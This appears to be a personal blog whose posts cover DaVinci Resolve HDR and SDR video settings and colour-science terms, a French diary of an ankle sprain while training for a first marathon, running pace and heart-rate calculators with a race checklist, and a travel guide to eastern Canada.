Before starting any new project, make sure that all cameras have similar settings: resolution, framerate, and more importantly, HDR or not! (pick Rec.2020 for HDR, and Rec.709 for SDR). You cannot easily mix SDR and HDR footage in the same project.

Up until now, I've not been able to properly "downgrade" a HDR footage into a SDR project in DaVinci Resolve. But I've been sort of successful with the opposite (importing SDR footage into a HDR project and using the "Color Space Transform" effect, from Rec.709 to Rec.2100 HLG). The output colors are different but close enough.

Below you'll find my settings.

General settings

When working with non mixed footage, that is only HDR or only SDR, I would recommend turning on the option Use Mac Display Color Profile for viewers in the settings of DaVinci.

Project settings

Resolution: 3840 x 2160 (4K)
FPS: 30 (or 29.97, depending on the camera)
In Color Management:
- Color science: DaVinci YRGB Color Managed. I'm not sure what the difference is with non color managed, but I think I understood that when it's not color managed, DaVinci assumes nothing and does not perform automatic conversation from RAW footage to timeline color space. But for my use cases, Color Managed is perfect and just works.
- Untick Automatic color management
- Color processing mode: HDR DaVinci Wide Gamut Intermediate
- Output color space: Rec.2100 HLG (just like the videos shot natively with my Google Pixel)

When dealing with non-HDR footage, everything should be Rec.709. Gamma should be 2.4, even for web deliverables. Don't bother with Rec.709-A (Mac specific). For the color processing mode, keep "DaVinci Wide Gamut Intermediate".

A general rule of thumb is "2.2 is aimed to people looking at the screen on a bright lighted room, 2.4 is for dim light room, 2.6 for pitch dark room like movie theater". (source)

Export settings

2024 is also the year I'll be switching my default filming resolution from 1080p to 4k, since apparently Youtube deteriorates less the quality with 4k videos (the conclusion of the thread is that the best export settings are H265, 4k, 60mbit for 24-30fps or 120mbit for 60fps).

In DaVinci Resolve, when selecting MP4 as the format, and H.265 as the code, you get two options below:

Use hardware acceleration if available: that goes without saying, tick it
Network Optimization: this is the equivalent of -movflags +faststart for ffmpeg. This does not change the quality of the file, nor its size, and makes playback over a network faster, so you might as well tick it.

Then, export in 4K (3840 x 2160). If the project resolution is lower, the image will be upscaled, which will degrade the quality.

Make sure the output FPS is the same as the project/timeline FPS, that is 30 or 29.97 FPS.

To avoid getting too big of a file, I pick a custom bitrate of 25000 Kb/s for the file I will keep backed up. But for the file uploaded to Youtube, it is recommended to input a bigger number. See Youtube's official recommendations. Usually, 50000 Kbps for a 4K video is good enough.

Do not tick "Optimize for speed".

Encoding Profile: Main10 (no need to pick 4:2:2 as Google Pixel videos are in 4:2:0).

Leave Frame reordering ticked, as well as the rest of the settings.

Now let's study colors...

Some acronyms and vocabulary

CST: Color Space Transform
DWG: DaVinci Wide Gamut
RCM: Resolve Color Management. A system designed to provide consistent color accuracy across different devices and formats. This is a synonym for DaVinci Wide Gamut.
ACES: Academy Color Encoding System (an alternative to DWG). It is an industry standard color space, that works on multiple applications, unlike DWG that is DaVinci-exclusive.
Nit: a unit of luminance, officially name "Candela per square metre". In other words, a unit of measurement used to quantify the brightness of electronic displays. Other units that measure other aspects of light are Lumen and Lux.
EOTF: Electro-optical Transfer
LUT: Look-Up Table
Display-referred color grading/workflow: grading manually based on what you observe on screen, without any knowledge about the input color space. The opposite is known as scene-referred workflow (or color managed workflow).

8-bit vs 10-bit

Source:

First of all, 10 bit HDR is not one thing, they are two things. That's why sometimes you see 10 bit SDR as well. One refers to the color range (8-bit vs 10 bit), and the other refers to the dynamic range (SDR vs HDR).

8 bits or 10 bits? Most of our lives, we've been watching the world in 8-bit color. When you break down what 8-bit color is, it refers to the number of gradations in each of the primary colors. When you hear 8-bit, that means there are 256 discrete possible gradations. That is 256 levels of red, 256 levels of green, and 256 levels of blue, since red, green and blue are the basic colors of each pixel on your TV set. When your TV combines these three colors in all their 256 possible gradations you end up with 256 x 256 x 256 = 16,777,216 (16.7 million) colors! That should be sufficient for most video, right? Well, not when you're doing professional photography or filming.

There are times when you might have seen an effect called banding on your TV set. These are areas where the gradients are not as smooth in transitioning between subtle color differences. Instead, they look like bands of similar looking colors. This may be apparent in some blue sky scenes when looking at the horizon, or when there is a slow fade to black transition between scenes. Of course, this depends on how your TV processes the colors, then type of input you use, the player you're using to decode the video, or how the content you're watching is encoded.

So, here's where 10-bit color comes to the rescue. With 10 bit color, you get 1024 gradations for each of the primary colors, resulting in a whooping 1,073,741,824 colors. That's over 1 billion colors! That oughta get rid of those bands and give you smoother gradients.

Some monitor or TV are "10-bit like" but not truly 10-bit, they are in fact "8 bit + FRC".

SDR vs HDR

Source:

HDR or SDR? Most of our lives, we've been watching the world in SDR, or Standard Dynamic Range. Now, with newer TVs, we get this feature called HDR, or High Dynamic Range. This refers to how bright or how dark your pixels on your TV are capable of representing luminosity in the video. Instead of just adding artificial contrast to the image, HDR actually controls the individual luminosity for each pixel. This effect looks even nicer on OLED TVs which causes the image to look more realistic. Light bulbs in the background of a dark scene appear as if they are really there and the difference between dark and bright spots is less likely to be washed out.

One of the limitations of older TV sets all this time, was the brightness bleeding effect of bright objects next to dark ones on the same scene. If your TV supports HDR, you can have a bright white object shining at maximum brightness, and it will not affect how a dark object in the next pixel looks like. HDR, therefore, preserves details in scenes where the contrast ratio of the monitor could otherwise be a hindrance.

For those unfamiliar with photography, dynamic range is measured in stops, comparable to the aperture of a camera. Pictures on a typical SDR display would have a dynamic range of about 6 stops. HDR information, but on the other side, has the potential to almost triple this dynamic range, with a total of 17.6 stops.

It is commonly admitted that "HDR is a combination of three things" (although technically HDR has nothing to do with 8 or 10 bits):

More than 8 (usually 10) bits per subpixel
Displays with a higher than usual peak brightness and contrast ratio (usually oled, or an lcd with full array local dimming)
All the required metadata to make proper use of the above

Source:

HDR refers to the dynamic range. How much the camera can capture from complete white to complete dark. It's also intertwined with the gamuts of the camera. You need a wider gamut and 10+ bit color depth to get a somewhat pleasing HDR effect to look good.

HDR10 vs Dolby Vision vs HDR10+ (vs HLG)

Source:

There are two popular HDR standards, Dolby Vision and HDR10. Since HDR10 is open source, it has been much more widely adopted than Dolby Vision. Both HDR formats use metadata in the video stream to determine how bright pixels should light up in the display. With HDR10, a fixed metadata range is declared at the start of the stream, and it remains for the entire length of the video, whereas Dolby Vision is capable of dynamic metadata from one scene to the next. There is an upgrade to HDR10 called HDR10+ which adds dynamic metadata just like Dolby Vision. Overall, you can think of HDR as the ability of the video stream to adjust your contrast and brightness levels on your TV set for each pixel separately, as opposed to your brightness and contrast menus which affect the entire picture at once.

Competing formats to HDR10 are Dolby Vision and HDR10+ (which do provide dynamic metadata, allowing to preserve the creative intents on each display and on a scene by scene or frame by frame basis), and also HLG (which provides some degree of backward compatibility with SDR).

HDR10+ and Dolby Vision do not use the same dynamic metadata.

Transfer functions: Gamma 2.4 vs HDR PG vs HDR HLG

PQ is for "Perceptual Quantize", the standard is known as ST.2084. HLG is for "Hybrid Log-Gamma".

Both were introduced with Rec2100 (see next section). Prior to Rec2100, Rec709 and Rec2020 were using Gamma 2.4 (known as ITU-R BT.1886).

As written in the section above, HLG is opposed to HDR10, Dolby Vision and HDR10+.

This page says:

PQ HDR defines HDR10, HDR10+, and Dolby Vision, as all use the same target colour space - Rec2020 Gamut, with the same PQ EOTF. Consequently, calibration for all is basically identical. HLG based HDR is different.

The rest of the page is extremely detailed and full of information.

Some things to remember:

PQ gives absolute values for light output
HLG gives relative values

One of the often overlooked potential issues with PQ based HDR for home viewing is that because the standard is absolute there is no way to increase the display's light output to overcome surrounding room light levels - the peak brightness cannot be increased, and neither can the fixed gamma (EOTF) curve.

As mentioned above, with PQ based HDR the Average Picture Level (APL) will approximately match that of regular SDR (standard dynamic range) imagery. The result is that in less than ideal viewing environments, where the surrounding room brightness level is relatively high, the bulk of the PQ HDR image will appear very dark, with shadow detail potentially becoming very difficult to see. This is still true with a diffuse white target of 200 nits, rather than the original 100 nits diffuse white.

But, having said that, HLG based HDR has its own issues if the peak luma of the display is below approx. 1000 nits, as the average picture level of the HDR image will appear dimmer than the equivalent SDR image.

HDR10 uses Static metadata, while Dolby Vision and HDR10+ use Dynamic.

And non-PQ based HDR, such as HLG, has no need for metadata. One of the major differences in using a relative based HDR standard, rather than absolute.

I've read on other websites that Dolby Vision also works with HLG, not just PQ.

Rec709 vs Rec2020 vs Rec2100

Those are color gamuts (a set of displayable colors).

Rec709 is generally for SDR.

Rec2020 and Rec2100 are commonly used for HDR. Rec2020 can also be used for SDR. They are both refered to as Wide Color Gamuts (WCG).

Rec2020 (or Rec.2020) is an abbreviation for "ITU-R Recommendation BT.2020".

Rec. 2100 uses the same color primaries as Rec. 2020 which is a Wide Color Gamut (meaning a color gamut wider than that of BT.709).

Rec709 is recommendations for HD. Rec2020 for UHD (Ultra HD). Rec2100 for HDR.

4:2:2 vs 4:2:0

Chroma Subsampling, on Wikipedia.

Short explanation on Reddit here.

Linux support for 10-bit and/or HDR

As of 2024, HDR is not supported on Linux. 10-bit is partially supported but not enabled by default. Here is how to turn on 10-bit on Linux. Of course the GPU needs to support it.

On Linux, playing a HDR video in VLC will show a washed-out video, but using MPV the colors will be "translated" into SDR and the video will look very nice.

Monitors and TV support for HDR

Unless a monitor is labeled HDR1000, it is not true HDR. This other Reddit thread more or less says the same.

10 kms et Entorse de la cheville

2024-09-17T19:00:00+02:00

Et bien voilà, deuxième grosse blessure de 2024. Après une périostite tenace, qui aura duré de début avril à fin août (il y a quelques semaines donc!), me voilà avec une nouvelle blessure à la jambe droite (encore!) : entorse de la cheville.

Dimanche il y a 9 jours, le 8 Septembre donc, je participais à une course de 10 kms, le Tierparklauf de Berlin. Première course de 10 kms pour moi. Je visais sub 40 minutes tout en sachant que c'était très ambitieux.

Garmin était optimiste. Gauche : veille de course. Droite : quelques heures après la course.

Je me place dans le premier sas, à l'avant. Le départ est donné et très vite je trouve un bon rythme autour de 4 minutes du kilomètre. Un groupe part devant, bien plus rapide que moi, et je reste avec 2 ou 3 personnes. Je me colle derrière un gars pendant les 5 premiers kms, profitant d'un léger effet d'aspiration mais surtout de sa régularité. Petit à petit le groupe se disloque et je me retouve seul avec mon poisson pilote. Le gars craque au km 5 et ralentit, je passe devant et me retrouve vraiment seul cette fois, pour la fin de course. Mentalement, ça devient difficile, et je finis par craquer aussi petit à petit, après m'être fait dépasser une ou deux fois, avec un pace au km 9 à 4'25"/km. Je finirai ma course 19ème/887 participants (18ème ex-aequo pour être exact), et 2ème sur 53 dans ma catégorie d'âge (M30), avec un temps officiel de 41 minutes et 33 secondes, ce qui équivaut à un pace de 4'09"/km. Niveau fréquence cardiaque, j'explose tous mes records avec une moyenne à 191 et un max à 202, mesuré à la ceinture cardiaque donc fiable.

Ma course sur Strava

Détail important : 2 jours auparavant, le vendredi soir, je courrais 22kms à l'entrainement, à allure marathon + endurance fondamentale. Ça aura sûrement un peu impacté ma performance mais surtout ça aura sûrement fatigué ma cheville exagérement, laissant peu de temps pour la récupération.

Le reste du dimanche, j'ai enchainé sur 5 kms de marche, à explorer un zoo, et 57 kms de vélo. Too much.

Le lendemain, lundi 9 donc, n'écoutant personne et surtout pas mes propres conseils, je décide de m'en tenir à mon plan d'entrainement pour le marathon, et sors faire une sortie de 12 kms, comportant 6 kms à allure marathon.

Et enfin le mardi 10, je reçevais des nouvelles chaussures de course, les Asics METASPEED SKY PARIS. Bien sûr, je me devais de les essayer sur le champ. Mais je reste raisonnable et ne fais que 2.5kms.

Mes nouvelles Asics

À partir de là, je remarque une bonne douleur dans la cheville droite. Il me semble me souvenir de m'être à moitié tordu la cheville pendant la course de 10kms en marchant sur une craquelure dans le bitume, surelevée, mais je n'en suis pas sûr. Pendant la course, étant chaud, je n'ai rien senti. Et l'entorse devait être légère. Je me souviens par contre avoir eu mal pendant ma courte sortie du mardi, pendant laquelle j'essayais les nouvelles chaussures. Et quelle merveilleuse idée que d'essayer des nouvelles chaussure sur un pied déjà blessé...

Bref, tout irait bien si je m'étais arrêté là.

Le lendemain, mercredi 11, je décide de continuer à suivre mon plan : hop 9.5 kms. Et là clairement, j'ai eu mal toute la sortie, mais genre bien mal. En milieu de sortie, je remarque que si j'adopte une foulée avant-pied, la douleur est bien moins forte, du coup je continue jusqu'au bout... 🤦‍♂️

Les jours qui suivent, j'ai une légère gêne, mais rien d'handicapant, je marche normalement. Je décide d'être prudent le vendredi 13 et de sauter ma sortie prévue. En revanche, le dimanche 15, alors que je n'avais plus mal, BIM sortie longue de 25 kms. La douleur revient pendant la sortie progressivement et atteint 6 ou 7/10 en terme d'intensité, plusieurs fois pendant la sortie.

De retour chez moi, la douleur ne me quitte pas, et quelques heures après être rentré, lorsque mon corps a bien refroidi, maxi douleur, 9/10. Il m'est alors très très difficile de marcher, presque impossible de poser le pied. Tellement mal que la douleur m'a reveillé dans la nuit du dimanche au lundi, et qu'il m'aura fallu 1000mg de paracétamol pour me rendormir... Quel con bordel.

Lundi 16, je décide de couper mon entrainement complétement pour une moins une semaine, jusqu'à disparition totale de la douleur, et surtout disparition du gonflement qui est tout autour de ma cheville, gonflement qui était absent avant mon 25 km.

Voili voilou. Encore une fois, mon obstination m'aura couté une blessure que j'aurais pu éviter, si seulement je n'avais pas fait ce 25 km dimanche. J'aurai aussi pu prendre le lundi 9 off pour laisser mon corps récupérer à 100% de ma course... bref, toujours les mêmes erreurs. Sauter une ou deux séances la semaine dernière aurait eu beaucoup moins de conséquences que la semaine off qui m'attend (une semaine si j'ai de la chance, je mise plutôt sur 2 voire 3), sachant que je suis à 6 semaines de mon premier marathon ever. Fuck.

Je mettrai à jour cet article une fois que je serai rétabli. ✌

Update Jeudi 19 Septembre

Ça fait 4 jours depuis ma course de 25 kms. Depuis :

1000mg paracétamol pour les 2 premières nuits, rien les deux nuits suivantes
Je marche mieux que dimanche, et à peine mieux que lundi. Mais mardi mercredi et jeudi, pas d'amélioration. Je boite énormément.
Je soupçonne un arrachement osseux, si c'était une simple entorse je pense que la douleur aurait diminué. Enfin j'en sais rien... Quoiqu'un arrachement osseux c'est plus probable lors d'un choc ? Genre une mauvaise réception suite à un saut ? En course à pied je serais étonné. Bref.
Je pense aussi avoir "plusieurs" types d'entorse, ou plutôt avoir plusieurs ligaments âbimés. Voire même les tendons du long et court fibulaire, car j'ai mal en appuyant sur ces 2 muscles avant la main. Bref j'ai bien mal dans tout le pied globalement, pas que d'un côté.
Niveau gonflement, je l'ai remarqué lundi, pas vraiment fait attention dimanche. Aucune amélioration depuis lundi j'ai l'impression, toujours gonflé. J'ai glacé quelques fois, pas d'amélioration ni sur le gonflement ni sur la douleur.
D'ailleurs la douleur n'est pas toujours la même. Parfois dans la journée j'ai à peine mal en marchant, parfois hyper mal. Au repos, des fois je ressens rien, des fois je suis à 3/10 en douleur, assis.
J'ai strappé 2 ou 3 fois, pas vu de changement non plus.
Je crois que je vais aller passer une radio pour être fixé sur l'arrachement osseux ou non.
Ça pue pour le marathon dans 5 semaines et demi...

Update Samedi 21 Septembre

Radio passée hier soir, aucune fracture, ni de stress, ni classique. Pas d'arrachement osseux. On m'a conseillé de passer une IRM la semaine pro si la douleur ne diminue pas. Ils m'ont mis une bonne dose de Voltaren, ce qui a entre temps bien fait diminuer la douleur. Je marche mieux aujourd'hui mais boite encore, et je ne peux toujours pas me mettre en équilibre sur la pointe du pied droit seul, hyper douloureux et j'ai l'impression de ne pas avoir la force nécessaire. Les 2 pieds en même temps, je peux. Affaire à suivre la semaine pro...

Update Dimanche 22 Septembre

Après une nuit de 12 heures, beaucoup beaucoup moins de douleurs, et marche presque normale, léger boitement. Ça a dégonflé un peu aussi. Je n'arrive pas encore à me dresser sur le pied droit seul, sur la pointe des pieds, de tout mon poids, mais j'y arrive avec l'aide du pied gauche mieux qu'hier ! Toujours impossible par contre de me "propulser en avant", comme si je courrais. Bref, du mieux, je crois que je vais pouvoir échapper à l'IRM. Vendredi il y a 2 jours j'avais perdu l'espoir de courir le marathon fin Octobre, aujourd'hui je reprends espoir, j'estime à 75% mes chances de le courir. ✌

Update Mercredi 25 Septembre

Premier jour où je n'ai pas mal du tout à la cheville en me levant... jusqu'à ce que j'essaye de la solliciter un peu. Je ne boite plus !!! Toujours une douleur en marchant, sur le côté droit de la cheville et au dessus du pied, mais pas suffisante/handicapante au point de me faire boiter. D'ailleurs, cette douleur sur le dessus du pied est étrange. Peut-être que c'est la douleur à droite qui irradie ? Aussi, j'ai toujours bien bien mal aux tendons du long et court fibulaires et aux muscles eux-mêmes, lorsque je croise les jambes et pose mon tibia droit sur le genou de la jambe gauche.

Autre nouveauté : depuis aujourd'hui, j'arrive à me dresser sur la pointe du pied droit seul !! J'ai même essayé de trottiner dans l'appart, je peux ! C'était impossible jusqu'à hier.

À noter, ce qui m'a bien aidé dans les derniers jours : élever ma jambe droite le plus souvent possible, même pendant les heures de travail, le but étant d'avoir la cheville plus haute que le coeur. Ça aide à faire dégonfler et partir la douleur après avoir marché un peu trop longtemps. D'ailleurs, ma cheville a bien dégonflé et est presque revenue à la normale.

L'espoir continue de revenir, j'envisage peut être un mini run (1km?) ce dimanche à allure faible, on verra. Pédaler ne me fait plus mal du tout, j'irai peut-être faire un tour de vélo aussi dimanche, ça peut que aider, et surtout ça m'aidera à maintenir ma forme. 80% de chances de courir le 27 Octobre ?

Update Vendredi 27 Septembre

3ième jour sans boiter et presque aucune douleur aujourd'hui. C'est encore un peu gonflé. Toujours une légère douleur de fond, persistante, sur le dessus du pied. Je peux marcher et trottiner, sans douleur supplémentaire. En terme de mobilité, j'ai bien perdu à droite. Pied au sol, je peux facilement avancer mon genou de la jambe gauche vers l'avant, en flexion, par contre à droite je parcours à peine la moitié de la distance de gauche. Je vais travailler ça dans les prochains jours, et ainsi que ma propriocéption. J'ai aussi toujours cette douleur aux muscles fibulaires de droite, quand je pose la jambe sur le genou gauche. Chiant.

Bien sûr je n'ai pas sû résister et attendre dimanche, je suis sorti courir 2 kms aujourd'hui, à faible allure. En courant, absolument aucune douleur. Une fois rentré par contre, la douleur s'est reveillée et a atteint un bon 3/10, presque uniquement sur le côté droit de la cheville vers la malléole. À voir si c'est temporaire juste ce soir, ou si ça perdure demain. Ça me refait douter pour le marathon. Dimanche, je ferai pas le fou, et selon la douleur (ou non) au réveil, je retenterai l'expérience d'aller courir 2 kms.

Update Lundi 30 Septembre

Bon eh bien la douleur de vendredi post-run n'aura duré que quelques heures, le temps de re-élever ma jambe et la douleur avait disparu.

Hier dimanche, nouvelle sortie en endurance fondamentale vraiment lente (6'20"/km) de 7 kms. En rentrant, légère douleur de 2/10 (moins que vendredi soir donc) qui, pareil, a disparu quelques heures plus tard.

Ce soir, je rechausse mes nouvelles Asics METASPEED SKY PARIS et c'est parti pour 3 kms à 4'56"/km. À peine 2/10 de douleur à un moment en fin de sortie, tout juste rentré que la douleur a déjà disparu.

Autre bonne nouvelle, je peux à nouveau poser mon tibia droit sur mon genou gauche (croiser les jambes donc) sans presque aucune douleur dans les fibulaires. 🎉 Une mini gêne persiste, mais c'est beaucoup mieux.

C'est décidé, à partir de mercredi dans 2 jours je reprends mon programme, avec 4 sorties prévues par semaine. Je vais cependant sauter toutes les séances VMA, et faire du pace marathon à la place. Dimanche qui vient je ne ferai probablement pas les 31 kms de prévus, si j'atteins 20 je serai content. Je les ferai avec les Asics METASPEED SKY PARIS, histoire de faire au moins une sortie longue avec les chaussures que j'utiliserai le jour du marathon. La semaine prochaine, l'application Kiprun Pacer me fait en théorie commencer le taper, mais vu que je sors de 11 jours sans courir, je suis reposé, je vais réduire mon taper à 7-10 jours je pense, j'ai aucune fatigue accumulée au moment où j'écris ces lignes. Donc semaine prochaine si tout va bien, je ferai une semaine encore plus grosse que celle qui vient de commencer. Semaine suivante, avant course, je réduirai un peu (peut-être ?). Et semaine de course, taper classique. Bien sûr j'adapterai si la douleur revient, et surtout je couperai chaque séance si besoin. J'avoue, plus facile à écrire qu'à faire, mais pour une fois, ça serait pas mal que je m'écoute ! Hors de question de reprendre des risques.

Ce qui est sûr à 99%, c'est que je prendrai le départ de mon premier marathon ce 27 octobre. La grande inconnue qui me fait peur, c'est est-ce que ma cheville tiendra les 42 kms sans me faire mal, sans réveiller la douleur ? Comme ce fût le cas il y a 2 semaines, lors de ma sortie longue de 25 kms (courue à 5'28"/km en moyenne, donc plus lentement que mon pace marathon). C'est là que mon entorse qui était en voie de guérison s'est aggravée, au point de ne plus pouvoir marcher la semaine suivante. D'ici là, maxi renforcement musculaire, j'élève ma jambe aussi souvent que possible (un mini gonflement persiste, mais vraiment minime), exercices d'équilibre et de propriocéption tous les jours. Et de la marche aussi. Et gros focus sur le sommeil, on vise 8h toutes les nuits. On y croit 💪. Let's go!!! Si pas de nouvelle ici, c'est que tout va bien.

Update Jeudi 3 Octobre

Tout va bien ! Hier reprise du programme d'entraînement, aucune douleur pendant la sortie, en rentrant légère douleur mais disparue aujourd'hui, après une nuit de 10h. D'ailleurs cet après-midi, 8.75 kms courus en endurance fondamentale avec quelques accélérations autour de 4'00"/km, aucune douleur. En rentrant, aucune douleur non plus. Demain, séance VMA prévue. La semaine dernière je m'étais dit que je sauterais les séances VMA mais j'ai finalement bien envie de les faire au vu de la vitesse à laquelle je récupère, dans l'espoir d'améliorer mes performances. L'occasion aussi de tester les nouvelles chaussures à haute vitesse. Bien sûr je couperai si douleur.

Ah et d'ailleurs la douleur aux fibulaires a complétement disparu. J'essaie tous les jours de faire mes exercices. La mobilité revient petit à petit, notamment la flexion vers avant, dans l'axe. Comparé à la jambe gauche, mon genou avance de 4-5 cm de moins, mais ça s'améliore tous les jours.

En bref, les exercices que je fais :

Flexion genou vers l'avant, jambe gauche jusqu'à toucher le mur, jambe droite en essayant aussi mais pour le moment il manque quelques cms.
Avec un élastique, pivoter le pied vers l'extérieur en résistance, pour faire travailler les fibulaires
Protocole de Stanish pour faire travailler les mollets
Des sauts sur un pied avec stabilisation pour travailler l'équilibre
Faire la pendule avec le pied gauche, en appui sur le pied droit

Ça s'annonce très bon pour le 27 !

Update Vendredi 4 Octobre

La séance VMA est passée crême, même si c'était la plus dure que j'ai jamais faite ! Aucune douleur. Limite j'ai des douleurs naissantes dans la jambe gauche (l'autre donc), vers le tibia. Super 😆 !

J'ai découvert ce soir un nouveau protocole, hyper récent, pour évaluer l'abilité de quelqu'un à retourner au sport après une entorse : Ankle-GO. Pas sûr que je fasse le test mais hyper intéressant.

Dimanche, tous les voyants sont verts pour tenter les 31 kms.

Update Dimanche 6 Octobre

Les 31 kms sont passés N.I.Q.U.E.L, absolument aucune douleur. Je déclare l'épisode "entorse de la cheville" terminé, direction le marathon dans 3 semaines !!!

Running Calculators

2024-08-24T13:00:00+02:00

Running pace to finish times

Zones

(MAS is VMA in French)

MAS speed (km/h): Max HR:

Percentage: %

more info

There are multiple scales that exist out there, but none of them will have exactly the same values nor the same zones. Here are two scales that I personnally use. They work for me, they might not for you.

The first table is greatly inspired by this one, even though I found the given HRmax values way too high, compared to the MAS values. Generally, based on what I read on the internet but also my observations, for any pace, "(percent of MAS plus 5 to 10) = percent of your HRmax" (more or less). So I changed the HRmax values in the first table above and adjusted them to what I observed with my very own heart, at those paces. Most other scales on the internet seem to agree and use the formula "percent of MAS + 5 = percent of HRmax".

In recent years, many pace charts started using the "heart rate reserve" as their basis, instead of HRmax. I have not dug the topic enough, so I'm not using that (so far). "Heart rate reserve" basically means HRmax - resting heart rate. Not everyone agrees on how the "resting heart rate" should be measured. Lowest value in the night? Lowest value in the day, while sitting and doing nothing? Average value measured during sleep? Therefore, I'm quite reluctant to use this for now.

The second table, on ventilatory thresholds, is a mashup of multiple articles I've read. I simplified the values to make it easier to understand.

In other sources, I've found slightly different values for SV1 (VT1 in English) and SV2 (VT2 in English). But these values are athlete-dependant anyways. It's never an exact value. And it's different for everyone.

VT1/SV1 is slightly slower than marathon pace.

When people refer to "threshold" only, without specifying 1 or 2, they mean the second one (VT2/SV2). It's an effort than can be sustained up to an hour. It's the same as FTP in cycling.

Session parser - zones distribution

To categorize the paces into zone 1 (below VT1), zone 2 (VT1 to VT2) or zone 3 (above VT2), the MAS value your entered at the top of this section will be used.

Time and distance converter

Pace:

What distance will I cover if I run for minutes and seconds?

How much time do I need to run meters?

Race sheet

Distance:

Race title (optional):

Race date:

Pace goal on the watch:

Bib number pickup date and time:

Nutrition plan (your body weight in grams/hour = 75 kgs→eat 75 grams each hour):

TODO items:

Une semaine avant course : couper ongles
Prévoir le trajet pour se rendre à la course le dimanche matin
Prévoir des vieux vêtements chauds d'avant course, to give away
Si je dors à l'hôtel, emmener un sharpie + repas
Recharge glucidique à partir du jeudi, boire du maltodextrine en continu
Samedi matin : shake-out run avec 1km à allure ~24h avant la course
Samedi matin : se faire une belle moustache
Samedi matin : charger montre et la reboot
Samedi midi et soir : riz, pâtes pesto rosso, patates, Speisequark. Pas de légume, pas de gras.
Samedi soir : accrocher bib number au t-shirt et tout préparer/rassembler pour être prêt à partir le dimanche matin
Samedi soir : préparer le petit déjeuner (müsli avec lait de soja, pâtes pesto rosso OU riz OU Gatosport, banane, Maurten Drink Mix)
Dimanche matin : petit-déj AU MOINS 1.5h avant la course
Dimanche matin : noter dans les mains au marqueur
  Montre en mode pace sur distance 42.75kms
  Water stations: Km 5, 10, etc
  WC: Km 5, 10, etc
Dimanche matin : vérifier pas de cailloux dans chaussures, double noeud lacets
Dimanche matin : prendre casquette, lunettes, HRM chest strap, manchons, mouchoirs 🚽 dans une poche et mini bouteille d'eau pour boire avant le départ
Dimanche matin : warm up de 2kms avant départ

Unknown race - unknown date

Pace goal on the watch = ?

Projected finish time with no margin of error (100% accurate GPS): ?
Projected finish time with a ?
Speed: / km/h

Nutrition

TODO until the race

Bib number pickup: Sat 4 Mai

Canada

2024-08-11T13:30:00+02:00

I recently went to Canada for the first time of my life. Boy did I like it! It was grand! Truly a beautiful country, with very friendly people. And I've only seen a tiny part of Canada!

Alright, as I did in previous articles, here is a list of things to know about Canada before you get there, and then my very own recommendations on places to visit, based on my experience only.

Things to know

Like in the US, at a red traffic light, you can legally turn right if no car is coming from the left side, unless there's a sign saying "No right turn on red".
One can pass cars on any lane, on multi-lane roads.
Overall, most rules on the road are the same as in the US. Cars are generally much bigger than in Europe, but slightly smaller than in the US on average. You'll still see the occasional F150 or RAM truck.
People have a tendency to drive 10 to 20km/h faster than the speed limit, and apparently cops are fine with that.
Don't stick to cities, Canada is meant to be explored through its vibrant nature.
Like in the US, expect great customer service.

Montréal

Great city! People are extremely relaxed and chill. You won't hear any honking. Drivers, cyclists and pedestrians are very respectful of one another. Not much traffic, and no one is speeding. There are plenty of bike lanes. The city is beautiful, especially the Plateau-Mont Royal neighborhood.

You'll find plenty of water fountains in the city, mostly in parks.

Through traffic is blocked off in many neighborhoods, making the city rather quiet. In summer, they also close down many streets, giving them back to pedestrians and cyclists only. The city is pretty green, you'll see many many trees and parks.

Bixi is a great way to get around, it's their bicycle sharing system. It's pretty expensive though, and there is no day pass. Bixi is very popular among the locals.

In Montreal, buildings and houses are not very high, usually 2 to 3 floors, expect for downtown (the business center).

I've been told that anyone is allowed to enter any restaurant and use their washroom even if they are not customers/not eating. But I could not verify this information online.

The Montréal Skyline as seen from Mont Royal

There is not so much to do in Montreal, 3 full days should be enough to see it all. Here are a few things to do:

La Banquise (994 Rue Rachel E): go eat a poutine!
Mont Royal: great to run or cycle all the way to the top!
From May to October, Piknic Électronik at Parc Jean-Drapeau, on the weekend, really nice!
F1 race track "Circuit Gilles Villeneuve" (I did not get to see it): one can cycle there most days of the year
The Vieux Port and its piers
Notre-Dame Basilica of Montreal
La Fontaine Park
Saint Denis Street and Ave Mont-Royal (closed in summer) are nice to explore, they have fancy shops

Rue Saint-Denis in Montréal

Notre-Dame Basilica of Montreal

Québec (the province and the city)

Fairmont Le Château Frontenac

Montmorency Falls, its bridge, the zipline and the stairs

Québec city: go walk on the Dufferin Terrace, see the Rue de Petit Champlain (I missed this!), explore the surroundings of The Citadelle of Québec and then head out to visit the Montmorency Falls by riding a local bus. 6 hours is enough to see it all (Montmorency Falls included).
Parc Oméga: a park that one can enter only with a car. You'll see many different species of animals: bears, mooses, buffalos, wolves, etc. Quite fun to do, if I'm honest. You can bring carrots and feed some animals (not all of them). You can also buy the carrots there. Plan at least 4 hours.

People feeding deers

Algonquin Provincial Park

To me, the highlight of the trip! We spent 3 nights camping in this park: two nights at the Rock Lake Campground, and one night alone on Rose Island, that we reached after a little less than an hour of canoeing (rental canoes). Wonderful!

Staying overnight in the Algonquin Park requires a permit than can easily be bought online. Same for the campground, it's easy to book a spot online. When you show up, there is no reception or whatever, you just go to your designated spot.

When entering the campground, you are greeted by signs than say you might encounter bears. 😱

Along the shores of Rock Lake or on its islands, a few (8 I think) areas have been designated for campers to set camp. If campsites are unoccupied, you may stop and spend one or multiple nights.

Our campsite on Rose Island

A typical backcountry campsite. Hanging food up a tree in a closed bag is required, to keep bears away.

In the park, there are many many trails for all levels. Some of them will offer great viewpoints.

Niagara Falls

Before going, I had been told multiple times that it was overrated. Truth is, it's not! The city they built next to it is non sense though, that I'll admit. But the falls themselves, and the little boat trip to the core of the falls are 100% worth it.

The are actually two falls: the American falls, with bolders at their bottom, and the Canadian ones, nicknamed the Horseshoe Falls, due to their shape. The boat trip will take you to both but will stay longer at the Canadian ones, the most impressive ones to be fair.

There are two boats companies that operate those tours, one from the Canadian side (you'll get a red poncho), the other from the US side (people get a blue poncho). They take turns and go one after the other. A trip lasts about 15 minutes.

One can cross the US-Canada border through a bridge, on foot or in a car, with a valid Visa or ESTA of course.

Like I wrote above, the city of Niagara Falls is a joke, I guess they tried to build a copy of Las Vegas here. At night, it's buzzing with thousands of people roaming the streets. There are many attractions to do, like a roller coaster on top of a Burger King, a go-kart track, a ferris wheel, a haunted house, and many many others. All of that is really only located on two streets: Clifton Hill and Victoria Ave. It's fun though!

